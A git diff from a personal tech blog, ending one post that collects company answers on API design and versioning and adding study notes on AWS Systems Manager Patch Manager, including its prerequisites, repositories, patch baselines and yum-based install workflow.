functionality and developer experience. Ultimately, APIs should be easily understood, well-documented, consistent, and provide useful feedback when something works and when something fails. Where there are standards, we try to stick to them, and where we have to make our own API surface, we need to remember the human who’s going to be using the API. + + + +--- + + +### API documentation? + +We take a “spec-first” approach to development. Wasting developer time on creating documentation, which often goes out of date the moment the API is published, is a real problem. To address this, we did a couple things. +First, we acquired Insomnia last year, which is an API and GraphQL testing tool. We’re extending it and open-sourcing those extensions to do spec-first development for APIs using the OpenAPI Specification (formerly Swagger). This allows users to do both definition and testing of APIs in one tool. +Second, the Kong Developer Portal consumes these OpenAPI Specifications and auto-generates live documentation users can leverage to test and explore their APIs. If they don’t have or don’t want to write OpenAPI Specifications, Kong Brain, which automates API documentation and configuration, can automatically generate an OpenAPI Specification from traffic on the Kong gateway. These OpenAPI Specifications can then be sent into a File API for consumption by the Kong Developer Portal—the whole API life cycle, really. + +Supporting all platforms leads to bulky documentation. As you scale and support more APIs, it quickly becomes cumbersome for internal teams to keep up and for developers—the primary audience—to navigate. Despite this challenge, we strive for consistency across platforms and optimizing for developer expectations and experience. This problem is never-ending, so we’ve dedicated a team to enhancing the developer journey. We use drivers such as data outcomes to drive our priorities, and we’re looking for a higher trials-to-sign-up ratios and lower average time to trial. + +Enabling block comments for our Apache Thrift Interface Description Language (IDL) adds context at the endpoint, request, and response field levels in addition to metadata about the services, such as communication channels for the service owner or the technical design document. Our Thrift IDL with documentation comments is automatically parsed and displayed in a web UI upon code deployment. This enables our internal documentation website to be up to date, as any changes are picked up whenever the service is deployed. + +Where possible, we try to leverage Swagger documentation. We’re also thinking beyond the standard reference documentation and creating other enablement materials like code samples, tutorials, and other longform documentation that goes into detail on specific aspects of the API. We primarily rely on storing markdown files in GitHub and have converters that turn the markdown files into more consumable HTML pages. This makes the documentation more accessible (because it looks better), allows us to track issues in the repo itself, and empowers our developers to fix or enhance the documentation with their own pull requests. + + + + +--- + + +### What kinds of resources does your organization dedicate to building APIs? What does that organizational structure look like? + + +Each team is in charge of documenting and building the API endpoints for their part of the product. For instance, the developer portal team has developed OpenAPI Specification files, which can be leveraged in the default portal configuration. All our teams love Insomnia and use it to test their APIs as they develop them—it’s a great debugging tool. Our sales engineers get the best feedback because they use it to do proofs of concept for customers all the time. + +We’re an API company, which means everyone is dedicated to APIs. It’s not just our engineers—the customer success team, marketing team, and product team are all focused on delivering excellent API experiences. We use a process for API product design that involves learning from our customers’ needs. Once we understand the requirements and design principles, we follow an RFC process, which defines the technical components required to deploy a production-grade, global, real-time API. From an engineering team perspective, we have architects who design and guide implementation direction; DevOps, which improves our in-house developer and runtime experience; and engineers who implement and build the software to deliver API value. + +A dedicated service framework engineering team (part of our platform infrastructure organization) creates reusable components and infrastructure to build reliable, scalable services and APIs. We use Apache Thrift to define our APIs for our remote procedure call framework and annotations. We also invested in a team to provide out-of-the-box options and standardization for our thousands of service APIs. The team has enabled many other features, such as rate limiting and traffic replay mechanisms, to be configurable with annotations instead of requiring each service owner to build or integrate their own solution. + +Increasingly, we pair API engineering teams with technical product managers who can flesh out API requirements and provide input on the developer experience. We also have models where a technical writer is embedded with the teams to ensure documentation is relevant and stays up to date. For APIs that are going to be used by teams across Adobe and used to power major services, an architecture council defines an API specification and manages any changes to the specification. The service teams are then responsible for implementing the API in accordance with the specification so clients leveraging the services are developing against a consistent API surface. + + + +--- + + +### manage API changes? + + +We focus on backward compatibility and follow major/minor version bumps, like most open-source software. Backward-incompatible changes are only allowed in major releases once a year. We mark endpoints that are going away as “deprecated” for several releases before we officially communicate their retirement. + +First and foremost, we version our APIs. +- Each API can be maintained as a new API, or the backend can be deployed to support the new and old formats. We take advantage of Swagger and OpenAPI to do that. We’re all for making sure customers on older versions of our APIs are still able to make use of PubNub. Especially for mission-critical services that are built on top of PubNub, it’s not right to force customers to upgrade to a new version of an API unless there’s a good reason for it. We try to keep it simple when it comes to versioning, using a version ID at the front of the path, such as `/v2/api-name`. + +Engineers are empowered to modify their own service APIs. Airbnb once had service framework engineers as mandatory reviewers, but as the number of services and APIs multiplied and engineers became more comfortable with Thrift, we automated a series of tests that check for backward incompatibility. With that tooling in place, service owners decide whether to move forward with the API change. We’ve also placed standardized observability into the client services that call each of our API endpoints, which allows us to understand what to migrate and monitor for modifications to the API. + + +avoid making unnecessary changes by carefully architecting up front and using standards where they make sense—no point reinventing the wheel. But when change is necessary, we ask: Is it worth it? Is the fix super expensive? Do we need to add some backward compatibility options? The goal is to see what dependents we could break, and plan from there. + +For our cloud APIs, potential changes are documented and brought to an architecture council. +- The council reviews the change, votes on it, and, if it’s approved, updates the underlying specification. +- Support documentation that illustrates how to convert from the old to the new API surface are always part of the release plan. +- The key here is time. +- Dependent teams need to know about big changes in advance so they can make plans to adjust. + +Clients are notified throughout the process, and once the specification has been updated, service teams are tasked with scheduling the changes to their implementation of the API. The schedule is coordinated across teams. + + + +--- + + +### test and collect feedback on its API? + +feedback from both our enterprise customers and our open-source community. The best thing about being open-source software is there are plenty of people willing to help and give you input. They’re also the most vocal when you make a mistake! So we pay a lot of attention to perception when we release and deprecate our APIs. + +Globally distributed test servers monitor the speed and deliverability of real-time API data. We use our own tools, as well as third parties like Catchpoint and Pingdom. Outside of the technical monitoring tools, it’s important to make sure we keep track of how often these APIs are actually used to make more informed decisions going forward, including whether to keep the API alive and whether we need to rethink our go-to-market around it. And, of course, we keep in touch with our customers to make sure the API is serving their needs. + +In terms of usability, we rely heavily on feedback from our pilot integrations with other engineers at Airbnb. Upon reviewing production incidents, we also evaluate our APIs and create action items for improving instrumentation or standardization. We’re working on better, automated solutions, such as an easy way to perform load testing. + +We tend to have slightly different processes for our internal and external-facing APIs. As part of exposing APIs to external developers, we’ve built a process that allows us to validate and improve an API in multiple stages. After identifying a specific API or set of APIs to expose, an internal team is tasked with creating integrations on those APIs. The team also carves out time to provide early feedback on the API so they can suggest changes while they work on the integration. After that, we give a select group of partners access to the APIs so they can start creating their own integrations. They help identify any feature gaps or developer experience issues. Once the API team has tracked and, where applicable, made changes based on that feedback, we open it up to our wider third-party developer community and record any feedback they have. We actively seek that feedback in individual partner communications, surveys, forums, and at in-person events like MAX Adobe’s annual creativity conference. + +--- + + +### API design, future of APIs will hold + + +As we move from being solely an API company to being a cloud connectivity company, we’re seeing a shift from REST APIs to services that connect systems. The new world of APIs will be gRPC, TCP custom protocols, Kafka, GraphQL, and more. +- We think the connectivity promise of APIs will continue to be realized, but the methods will expand. +- It’s like the evolution of APIs from XML/SOAP to JSON and specifications. +- This is exciting and shouldn’t be scary. + +Modern APIs leverage the best of modern transports such as HTTP2 and gRPC. +- We’ve deployed these two modern API transports to offer the best possible service, and we continue to keep an eye on upcoming technologies. +- Just because we provide a great technology platform, doesn’t mean we can’t keep making it better! + +GraphQL is more expressive and flexible with schema stitching. Because of this, we’re exploring how it interacts with frontend clients and how it enables querying of data across multiple services. Another hope for the future is more out-of-the-box resilience and robustness features—such as timeouts and management of hard versus soft dependencies with fallback values—instead of requiring organizations to custom build these. + +We’ve been investing in Hypermedia as the Engine of Application State (HATEOAS) REST APIs because of the way it decouples the client and server and allows us to improve and augment our services without breaking clients. We’ve been particularly interested in how to improve the developer experience and how to document Hypermedia APIs effectively. We’ve also started emphasizing events and webhooks as a complement to our APIs and providing flexibility to developers in terms of how they interact with our services. APIs exist to enable developers to connect disparate pieces in useful and often innovative ways. We need to keep the long view in mind—so many products and tools have gone by the wayside because an endpoint or API no longer functions. A commonly heard phrase at Adobe is “democratize feature development,” and we believe a well-built API surface and platform should enable anyone to do just that. diff --git a/_posts/01Cloud/01AWS/SSM/2020-05-23-patch-management.md b/_posts/01Cloud/01AWS/SSM/2020-05-23-patch-management.md new file mode 100644 index 00000000000..04e76503594 --- /dev/null +++ b/_posts/01Cloud/01AWS/SSM/2020-05-23-patch-management.md @@ -0,0 +1,1173 @@ +--- +title: AWS - SSM - Patch Manager +date: 2020-05-23 11:11:11 -0400 +categories: [01AWS, SSM] +tags: [AWS, SSM] +toc: true +image: +--- + +- [AWS Systems Manager Patch Manager](#aws-systems-manager-patch-manager) + - [Patch Manager prerequisites](#patch-manager-prerequisites) + - [SSM Agent version](#ssm-agent-version) + - [Connectivity to the patch source](#connectivity-to-the-patch-source) + - [S3 endpoint access](#s3-endpoint-access) + - [Supported OSs](#supported-oss) + - [How security patches are selected](#how-security-patches-are-selected) + - [[ Amazon Linux and Amazon Linux 2 ]](#-amazon-linux-and-amazon-linux-2-) + - [[ CentOS ]](#-centos-) + - [[ Debian Server ]](#-debian-server-) + - [[ Oracle Linux ]](#-oracle-linux-) + - [[ RHEL ]](#-rhel-) + - [[ SLES ]](#-sles-) + - [[ Ubuntu Server ]](#-ubuntu-server-) + - [[ Windows ]](#-windows-) + - [Linux: specify an alternative patch source repository](#linux-specify-an-alternative-patch-source-repository) + - [considerations for alternative repositories](#considerations-for-alternative-repositories) + - [Sample uses for alternative patch source repositories](#sample-uses-for-alternative-patch-source-repositories) + - [How patches are installed](#how-patches-are-installed) + - [[ Amazon Linux and Amazon Linux 2 ]](#-amazon-linux-and-amazon-linux-2--1) + - [predefined and custom patch baselines](#predefined-and-custom-patch-baselines) + - [How patch baseline rules work on Linux-based systems](#how-patch-baseline-rules-work-on-linux-based-systems) + - [patch baseline rules work on Amazon Linux and Amazon Linux 2](#patch-baseline-rules-work-on-amazon-linux-and-amazon-linux-2) + - [Key differences between Linux and Windows patching](#key-differences-between-linux-and-windows-patching) +- [patching operations](#patching-operations) + - [patching configurations](#patching-configurations) + - [SSM documents for patching instances](#ssm-documents-for-patching-instances) + - [SSM documents recommended for patching instances](#ssm-documents-recommended-for-patching-instances) + - [AWS-ConfigureWindowsUpdate](#aws-configurewindowsupdate) + - [AWS-InstallWindowsUpdates](#aws-installwindowsupdates) + - [AWS-RunPatchBaseline](#aws-runpatchbaseline) + - [AWS-RunPatchBaselineAssociation](#aws-runpatchbaselineassociation) + - [AWS-RunPatchBaselineWithHooks](#aws-runpatchbaselinewithhooks) + - [Legacy SSM documents for patching instances](#legacy-ssm-documents-for-patching-instances) + - [AWS-ApplyPatchBaseline](#aws-applypatchbaseline) + - [AWS-InstallMissingWindowsUpdates](#aws-installmissingwindowsupdates) + - [AWS-InstallSpecificWindowsUpdates](#aws-installspecificwindowsupdates) +- [Patch baselines](#patch-baselines) + - [predefined and custom patch baselines](#predefined-and-custom-patch-baselines-1) + - [predefined baselines](#predefined-baselines) + - [custom baselines](#custom-baselines) +- [patch groups](#patch-groups) + - [How it works](#how-it-works) + +--- + + +# AWS Systems Manager Patch Manager + +Patch Manager + +- a capability of AWS Systems Manager +- automates the process of patching managed instances with both security related and other types of updates. +- can use Patch Manager to + - **apply patches for both OSs and applications** + - On Windows Server, application support is limited to updates for Microsoft applications. + - install **Service Packs** on Windows instances and perform **minor version upgrades** on Linux instances. + - **patch fleets of Amazon EC2 instances, on-premises servers and VMs** by OS type. + - This includes supported versions of Amazon Linux, Amazon Linux 2, CentOS, Debian Server, macOS, Oracle Linux, Red Hat Enterprise Linux (RHEL), SUSE Linux Enterprise Server (SLES), Ubuntu Server, and Windows Server. + - **scan instances** to see only a report of missing patches, or automatically install all missing patches. + - Patch Manager provides options to + - scan the instances, report compliance, install available patches on a schedule + - or patch or scan instances on demand + - generate patch compliance reports that are sent to an S3 bucket + - generate one-time reports, or generate reports on a regular schedule. + - For a single instance, reports include details of all patches for the instance. + - For a report on all instances, only a summary of how many patches are missing is provided. + +**Important** + +- AWS does not test patches for Windows Server or Linux before making them available in Patch Manager . +- Patch Manager doesn't support upgrading major versions of OSs + - such as Windows Server 2016 to Windows Server 2019, + - or SUSE Linux Enterprise Server (SLES) 12.0 to SLES 15.0. + +Patch Manager uses patch baselines +- which include rules for `auto-approving patches` within days of their release, as well as a `list of approved and rejected patches`. +- You can install patches + - on a regular basis by scheduling patching to run as a Systems Manager maintenance window task. + - or individually or to large groups of instances by using Amazon EC2 tags. + - Tags are keys that help identify and sort the resources within the organization. + - add tags to the patch baselines themselves when you create or update them. + +> Patch Manager integrates with IAM, AWS CloudTrail, and Amazon EventBridge to provide a secure patching experience that includes event notifications and the ability to audit usage. + + +## Patch Manager prerequisites + +### SSM Agent version +Version 2.0.834.0 or later of SSM Agent is running on the instances you want to manage with Patch Manager. +- An updated version of SSM Agent +- If an older version of the agent is running on an instance, some SSM Agent processes can fail. +- recommend automate install SSM Agent up-to-date. +- Subscribe to the [SSM Agent Release Notes](https://github.com/aws/amazon-ssm-agent/blob/mainline/RELEASENOTES.md) page on GitHub to get notifications about SSM Agent updates. + +### Connectivity to the patch source +If the instances don't have a direct connection to the Internet and you are using an Amazon VPC with a VPC endpoint, you must ensure that the instances have access to the **source patch repositories (repos)**. + +1. On Linux instances + - patch updates are typically downloaded from the **remote repos** configured on the instance. + - instance must be able to connect to the repos so the patching can be performed. + - For more information, see **How security patches are selected** + +2. Windows Server instances + - must be able to connect to the **Windows Update Catalog or Windows Server Update Services (WSUS)**. + - Confirm that the instances have connectivity to the [Microsoft Update Catalog](https://www.catalog.update.microsoft.com/home.aspx) through an `internet gateway, NAT gateway, or NAT instance`. + - If you are using WSUS, confirm that the instance has connectivity to the WSUS server in the environment. For more information, see [Troubleshooting instance does not have access to Windows Update Catalog or WSUS]. + +### S3 endpoint access +Whether the instances operate in a private or public network, without access to the required AWS managed Amazon S3 buckets, patching operations fail. + +- For information about the S3 buckets the managed instances must be able to access, see [About minimum S3 Bucket permissions for SSM Agent] and [Step 6: (Optional) Create a Virtual Private Cloud endpoint]. + + +### Supported OSs +The Patch Manager capability does not support all the same OSs versions that are supported by other Systems Manager capabilities. + +For example, Patch Manager does not support CentOS 6.3 or Raspbian Stretch. +- full list of Systems Manager-supported OSs, see [Systems Manager prerequisites](https://github.com/awsdocs/aws-systems-manager-user-guide/blob/main/doc_source/systems-manager-prereqs.md) +- Therefore, ensure that the instances you want to use with Patch Manager are running one of the OSs listed in the following table. + + +OS + +1. Linux + - Amazon Linux 2012.03 - 2018.03 + - Amazon Linux 2 2 - 2.0 + - CentOS 6.5 - 7.9, 8.0-8.2 + - Debian Server 8.x, 9.x, and 10.x + - Oracle Linux 7.5 - 8.3 + - Red Hat Enterprise Linux (RHEL) 6.5 - 8.3 + - SUSE Linux Enterprise Server (SLES) 12.0 and later 12.x versions, 15.0 and 15.1 + - Ubuntu Server 14.04 LTS, 16.04 LTS, 18.04 LTS, 20.04 LTS, and 20.10 STR + - Instances created from an Amazon Linux AMI that are using a proxy must be running a current version of the Python `requests` module in order to support Patch Manager operations. + - [Upgrade the Python requests module on Amazon Linux instances that use a proxy server](https://github.com/awsdocs/aws-systems-manager-user-guide/blob/main/doc_source/sysman-proxy-with-ssm-agent-al-python-requests.md) + +2. macOS + - macOS 10.14.x (Mojave) and 10.15.x (Catalina) + +3. Windows + - Windows Server 2008 through Windows Server 2019, including R2 versions. + - As of January 14, 2020, Windows Server 2008 is no longer supported for feature or security updates from Microsoft. + - Legacy AMIs for Windows Server 2008 and 2008 R2 still include version 2 of SSM Agent preinstalled + - but Systems Manager no longer officially supports 2008 versions + - and no longer updates the agent for these versions of Windows Server. + - SSM Agent version 3.0 may not be compatible with all operations on Windows Server 2008 and 2008 R2. + - The final officially supported version of SSM Agent for Windows Server 2008 versions is 2.3.1644.0 + + + +## How security patches are selected + +The primary focus of Patch Manager is on installing OSs **security-related updates** on instances. +- By default, Patch Manager doesn't install all available patches, but rather a smaller set of patches focused on security. + - On all Linux-based systems supported by Patch Manager, you can choose a different source repository configured for the instance, typically to install nonsecurity updates. + +### [ Amazon Linux and Amazon Linux 2 ] + +On Amazon Linux and Amazon Linux 2, the Systems Manager patch baseline service uses preconfigured repositories on the instance. + +There are usually two **preconfigured repositories (repos)** on an instance: + +| **Repo ID** | **Repo name** | +| --------------------- | ------------------- | +| `amzn-main/latest` | `amzn-main-Base` | +| `amzn-updates/latest` | `amzn-updates-Base` | + + +**Note** +- All updates are downloaded from the remote repos configured on the instance. + - so the instance must be able to connect to the repos so the patching can be performed. + +- Amazon Linux and Amazon Linux 2 instances use Yum as the package manager, and Yum uses the concept of an **update notice as a file** named `updateinfo.xml`. + - An **update notice**: a collection of packages that fix specific problems. + - All packages that are in an update notice are considered Security by Patch Manager. + - Individual packages are not assigned classifications or severity levels. + - For this reason, Patch Manager assigns the attributes of an update notice to the related packages. + + - select the **Approved patches include non-security updates** check box in the **Create patch baseline** page + - packages that are not classified in an `updateinfo.xml` file (package that contains a file without properly formatted Classification, Severity, and Date values) can be included in the prefiltered list of patches. + - However, in order for a patch to be applied, the patch must still meet the user-specified patch baseline rules. + + +### [ CentOS ] + +On CentOS, the Systems Manager patch baseline service uses preconfigured repositories (repos) on the instance. The following list provides examples for a fictitious CentOS 8.2 Amazon Machine Image (AMI): + +| **Repo ID** | **Repo name** | +| -------------------------------- | -------------------------------------------- | +| `example-centos-8.2-base` | `Example CentOS-8.2 - Base` | +| `example-centos-8.2-extras` | `Example CentOS-8.2 - Extras` | +| `example-centos-8.2-updates` | `Example CentOS-8.2 - Updates` | +| `example-centos-8.x-examplerepo` | `Example CentOS-8.x – Example Repo Packages` | + +- All updates are downloaded from the remote repos configured on the instance. + - so the instance must be able to connect to the repos so the patching can be performed. + +- CentOS 6 and 7 instances use Yum as the package manager. +- CentOS 8 instances use DNF as the package manager. +- Both package managers use the concept of an **update notice**. +- However, CentOS default repos aren't configured with an update notice. + - This means that Patch Manager does not detect packages on a default CentOS repo. + - To enable Patch Manager to process packages that aren't contained in an update notice, must enable the `EnableNonSecurity` flag in the patch baseline rules. + +- CentOS update notices are supported. Repos with update notices can be downloaded after launch. + + +### [ Debian Server ] + +On Debian Server, the Systems Manager patch baseline service uses preconfigured repositories (repos) on the instance. +- These preconfigured repos are used to pull an **updated list of available package upgrades**. + - For this, Systems Manager performs the equivalent of a `sudo apt-get update` command +- Packages are then filtered from `debian-security codename` repos. This means that + - on Debian Server 8, Patch Manager only identifies upgrades that are part of `debian-security jessie`. + - On Debian Server 8 only: Because some Debian `Server 8.*` instances refer to an obsolete package repository (`jessie-backports`), Patch Manager performs additional steps to ensure that patching operations succeed. + - On Debian Server 9, only upgrades that are part of `debian-security stretch` are identified. + - On Debian Server 10, only upgrades that are part of `debian-security buster` are identified. + + + + +### [ Oracle Linux ] + +On Oracle Linux, the Systems Manager patch baseline service uses preconfigured repositories (repos) on the instance. + +There are usually two preconfigured repos on an instance. + +**Oracle Linux 7**: + +| **Repo ID** | **Repo name** | +| ------------------- | ---------------------------------------------------------------------------------- | +| `ol7_UEKR5/x86_64` | `Latest Unbreakable Enterprise Kernel Release 5 for Oracle Linux 7Server (x86_64)` | +| `ol7_latest/x86_64` | `Oracle Linux 7Server Latest (x86_64)` | + +**Oracle Linux 8**: + +| **Repo ID** | **Repo name** | +| ------------------- | ---------------------------------------------------------------------------- | +| `ol8_baseos_latest` | `Oracle Linux 8 BaseOS Latest (x86_64)` | +| `ol8_appstream` | `Oracle Linux 8 Application Stream (x86_64)` | +| `ol8_UEKR6` | `Latest Unbreakable Enterprise Kernel Release 6 for Oracle Linux 8 (x86_64)` | + +- All updates are downloaded from the remote repos configured on the instance. so the instance must be able to connect to the repos so the patching can be performed. +- Oracle Linux instances use Yum as the package manager, and Yum uses update notice `updateinfo.xml`. + - Individual packages are not assigned classifications or severity levels. + - For this reason, Patch Manager assigns the attributes of an update notice to the related packages and installs packages based on the Classification filters specified in the patch baseline. + - select the **Approved patches include non-security updates** check box in the **Create patch baseline** page + - then packages that are not classified in an `updateinfo.xml` file (or a package that contains a file without properly formatted Classification, Severity, and Date values) can be included in the prefiltered list of patches. + - However, in order for a patch to be applied, the patch must still meet the **user-specified patch baseline rules**. + + +### [ RHEL ] + +On Red Hat Enterprise Linux, the Systems Manager patch baseline service uses preconfigured repositories (repos) on the instance. There are usually three preconfigured repos on an instance. + +- All updates are downloaded from the remote repos configured on the instance. so the instance must be able to connect to the repos so the patching can be performed. + +- Red Hat Enterprise Linux 7 instances use Yum as the package manager. +- Red Hat Enterprise Linux 8 instances use DNF as the package manager. +- Both package managers use the concept of an update notice as a file named `updateinfo.xml`. + - Individual packages are not assigned classifications or severity levels. For this reason, Patch Manager assigns the attributes of an update notice to the related packages and installs packages based on the Classification filters specified in the patch baseline. +- select the **Approved patches include non-security updates** check box in the **Create patch baseline** page + - then packages that are not classified in an `updateinfo.xml` file (or a package that contains a file without properly formatted Classification, Severity, and Date values) can be included in the prefiltered list of patches. + - However, in order for a patch to be applied, the patch must still meet the **user-specified patch baseline rules**. + + +Note that repo locations differ between RHEL 7 and RHEL 8: + +RHEL 7 + +The following repo IDs are associated with RHUI 2. +- RHUI 3 launched in December 2019 and introduced a different naming scheme for Yum repository IDs. +- Depending on the RHEL-7 AMI you create the instances from, you might need to update the commands. + +| **Repo ID** | **Repo name** | +| -------------------------------------------------- | ----------------------------------------------------------------- | +| `rhui-REGION-client-config-server-7/x86_64` | `Red Hat Update Infrastructure 2.0 Client Configuration Server 7` | +| `rhui-REGION-rhel-server-releases/7Server/x86_64` | `Red Hat Enterprise Linux Server 7 (RPMs)` | +| `rhui-REGION-rhel-server-rh-common/7Server/x86_64` | `Red Hat Enterprise Linux Server 7 RH Common (RPMs)` | + +RHEL 8 + +| **Repo ID** | **Repo name** | +| ----------------------------- | -------------------------------------------------------------------- | +| `rhel-8-appstream-rhui-rpms` | `Red Hat Enterprise Linux 8 for x86_64 - AppStream from RHUI (RPMs)` | +| `rhel-8-baseos-rhui-rpms` | `Red Hat Enterprise Linux 8 for x86_64 - BaseOS from RHUI (RPMs)` | +| `rhui-client-config-server-8` | `Red Hat Update Infrastructure 3 Client Configuration Server 8` | + + +### [ SLES ] + +On SUSE Linux Enterprise Server (SLES) instances, the ZYPP library gets the list of available patches (a collection of packages) from the following locations: +- List of repositories: `etc/zypp/repos.d/*` +- Package information: `/var/cache/zypp/raw/*` + +SLES instances use Zypper as the package manager, and Zypper uses the concept of a patch. A patch is simply a collection of packages that fix a specific problem. Patch Manager handles all packages referenced in a patch as security-related. Because individual packages aren't given classifications or severity, Patch Manager assigns the packages the attributes of the patch that they belong to. + + +### [ Ubuntu Server ] + +On Ubuntu Server, the Systems Manager patch baseline service uses preconfigured repositories (repos) on the instance. These preconfigured repos are used to pull an updated list of available package upgrades. For this, Systems Manager performs the equivalent of a `sudo apt-get update` command. + +Packages are then filtered from `codename-security` repos, where the codename is unique to the release version, such as `trusty` for Ubuntu Server 14. Patch Manager only identifies upgrades that are part of these repos: +- Ubuntu Server 14.04 LTS: `trusty-security` +- Ubuntu Server 16.04 LTS: `xenial-security` +- Ubuntu Server 18.04 LTS: `bionic-security` +- Ubuntu Server 20.04 LTS: `focal-security` +- Ubuntu Server 20.10 STR: `groovy-gorilla` + + +### [ Windows ] + +On Microsoft Windows OSs, Patch Manager retrieves a list of available updates that Microsoft publishes to Microsoft Update and are automatically available to Windows Server Update Services (WSUS). + +Patch Manager continuously monitors for new updates in every AWS Region. The list of available updates is refreshed in each Region at least once per day. When the patch information from Microsoft is processed, Patch Manager removes updates that were replaced by later updates from its patch list . Therefore, only the most recent update is displayed and made available for installation. For example, if `KB4012214` replaces `KB3135456`, only `KB4012214` is made available as an update in Patch Manager. + +**Note** +Patch Manager only makes available patches for Windows Server OS versions that are supported for Patch Manager. For example, Patch Manager can't be used to patch Windows RT. + + +--- + + +## Linux: specify an alternative patch source repository + +**use the default repositories configured** on an instance for patching operations +- Patch Manager scans for or installs security-related patches. (the default behavior for Patch Manager) + +On Linux systems +- however, you can also use Patch Manager to + - install patches that are not related to security, or in a different source repository. + - specify alternative patch source repositories when create a custom patch baseline . + - In each custom patch baseline, specify **patch source configurations for up to 20 versions of a supported Linux OS**. +- Running a **custom patch baseline** that `specifies alternative patch repositories` on an instance doesn't change the **default repository** configured for the instance. + +> For example, +> Ubuntu Server fleet includes both `Ubuntu Server 14.04` and `Ubuntu Server 16.04` instances. +> specify alternate repositories for each version in the **same custom patch baseline**. +> For each version, you provide a name, specify the OS version type (product), and provide a repository configuration. +> You can also specify a single alternative source repository that applies to all versions of a supported OS. + +To specify alternative patch source repositories +1. **Example: Using the console** + - use the **Patch sources** section on the **Create patch baseline** page. + - For information about using the **Patch sources** options, see [Creating a custom patch baseline](https://docs.aws.amazon.com/systems-manager/latest/userguide/create-baseline-console-linux.html). + +2. **Example: Using the AWS CLI** + - using the `--sources` option + - see [Create a patch baseline with custom repositories for different OS versions](https://docs.aws.amazon.com/systems-manager/latest/userguide/patch-manager-cli-commands.html#patch-manager-cli-commands-create-patch-baseline-mult-sources). + - `aws ssm create-patch-baseline --cli-input-json file://my-patch-repository.json` + + +### considerations for alternative repositories + +1. **Only specified repositories are used for patching** + - Specifying alternative repositories doesn't mean specifying *additional* repositories. + - you must also specify the default repositories as part of the **alternative patch source configuration** if you want their updates to be applied. + - Running a **custom patch baseline** that specifies **alternative patch repositories** for an instance doesn't make those repositories the new default repositories. + - After the patching operation completes + - the repositories previously defined as the defaults still remain the default repository configured for the instance. + +> For example +> on Amazon Linux 2 instances, the default repositories are `amzn-main` and `amzn-update`. +> If you want to include the **Extra Packages for Enterprise Linux (EPEL) repository** in the patching operations, you must specify all three repositories as alternative repositories. + + +2. **Patching behavior for YUM-based distributions depends on the updateinfo.xml manifest** + - When you specify **alternative patch repositories** for `YUM-based distributions`, + - such as Amazon Linux or Amazon Linux 2, Red Hat Enterprise Linux, or CentOS, + - patching behavior depends on whether the repository includes an update manifest in the form of a complete and correctly formatted `updateinfo.xml` file. + - This file specifies the r`elease date, classifications, and severities` of the various packages. + - Any of the following will affect the patching behavior: + - If you filter on **Classification** and **Severity**, but they aren't specified in `updateinfo.xml` + - the package will not be included by the filter. + - This also means that packages without an `updateinfo.xml` file won't be included in patching. + - If you filter on **ApprovalAfterDays**, but the package release date isn't in Unix Epoch format (or has no release date specified) + - the package will not be included by the filter. + - Exception: + - select the **Approved patches include non-security updates** check box in the **Create patch baseline** page. + - In this case, packages without an `updateinfo.xml` file or contains this file but without properly formatted **Classification**, **Severity**, and **Date** values *will* be included in the prefiltered list of patches. + - They must still meet the other patch baseline rule requirements in order to be installed. + +### Sample uses for alternative patch source repositories + +**Example 1 – Nonsecurity Updates for Ubuntu Server** +- using Patch Manager to install security patches on a fleet of Ubuntu Server instances using the `AWS-provided predefined patch baseline` **AWS-UbuntuDefaultPatchBaseline**. +- create a `new patch baseline` that is based on this default, but specify in the approval rules that you want `nonsecurity related updates` that are part of the default distribution to be installed as well. +- When this patch baseline is run against the instances, patches for both security and nonsecurity issues are applied. +- You can also choose to approve nonsecurity patches in the patch exceptions you specify for a baseline. + +**Example 2 - Personal Package Archives (PPA) for Ubuntu Server** +- Ubuntu Server instances are running software that is distributed through a [Personal Package Archives (PPA) for Ubuntu](https://launchpad.net/ubuntu/+ppas). +- create a patch baseline that specifies a PPA repository that you have configured on the instance as the source repository for the patching operation. +- Then use Run Command to run the `patch baseline document` on the instances. + +**Example 3 – Internal Corporate Applications on Amazon Linux** +- to run some applications needed for industry regulatory compliance on the Amazon Linux instances. +- configure a repository for these applications on the instances, use YUM to initially install the applications, and then update or create a new patch baseline to include this new corporate repository. +- After this you can use Run Command to run the **AWS-RunPatchBaseline** document with the `Scan` option to see if the corporate package is listed among the installed packages and is up to date on the instance. +- If it isn't up to date, you can run the document again using the `Install` option to update the applications. + + + +--- + +## How patches are installed + +Patch Manager uses the appropriate built-in mechanism for an OS type to install updates on an instance. +- on Windows Server, the `Windows Update API` is used +- on Amazon Linux the `yum` package manager is used. + +### [ Amazon Linux and Amazon Linux 2 ] + +On Amazon Linux and Amazon Linux 2 instances, the patch installation workflow is as follows: + +1. If a list of patches is specified using an `https/S3 URL` using the `InstallOverrideList` parameter for the `AWS-RunPatchBaseline` or `AWS-RunPatchBaselineAssociation` documents, the listed patches are installed and steps 2-7 are skipped. + +2. Apply [GlobalFilters](https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreatePatchBaseline.html#systemsmanager-CreatePatchBaseline-request-GlobalFilters) as specified in the **patch baseline** + - keeping only the qualified packages for further processing . + +3. Apply [ApprovalRules](https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreatePatchBaseline.html#EC2-CreatePatchBaseline-request-ApprovalRules) as specified in the **patch baseline**. + - Each approval rule can define a package as approved . + - Approval rules are also subject to whether the **Include nonsecurity updates** check box was selected when create/update the patch baseline. + - If `nonsecurity updates` are excluded + - an implicit rule is applied in order to select only packages with upgrades in security repos. + - For each package, the candidate version of the package (which is typically the latest version) must be part of a security repo. + - If `nonsecurity updates` are included + - patches from other repositories are considered as well. + +4. Apply [ApprovedPatches](https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreatePatchBaseline.html#EC2-CreatePatchBaseline-request-ApprovedPatches) as specified in the **patch baseline**. + - The approved patches are approved for update + - even if they are discarded by `GlobalFilters` or if no approval rule specified in `ApprovalRules` grants it approval. + +5. Apply [RejectedPatches](https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreatePatchBaseline.html#EC2-CreatePatchBaseline-request-RejectedPatches) as specified in the **patch baseline** + - The rejected patches are removed from the list of approved patches and will not be applied. + +6. If multiple versions of a patch are approved, the latest version is applied. + +7. The YUM update API is applied to approved patches as follows: + - For **predefined default patch baselines** provided by AWS + - and for **custom patch baselines** where the `Approved patches include non-security updates` check box is *not* selected + - only patches specified in `updateinfo.xml` are applied (security updates only). + +```bash +# The equivalent yum command for this workflow is: +sudo yum update-minimal --sec-severity=critical,important --bugfix -y +``` + + - For **custom patch baselines** where the **Approved patches include non-security updates** check box *is* selected + - both patches in `updateinfo.xml` and those not in `updateinfo.xml` are applied (security and nonsecurity updates). + + +```bash +# The equivalent yum command for this workflow is: +sudo yum update --security --bugfix +``` + +8. 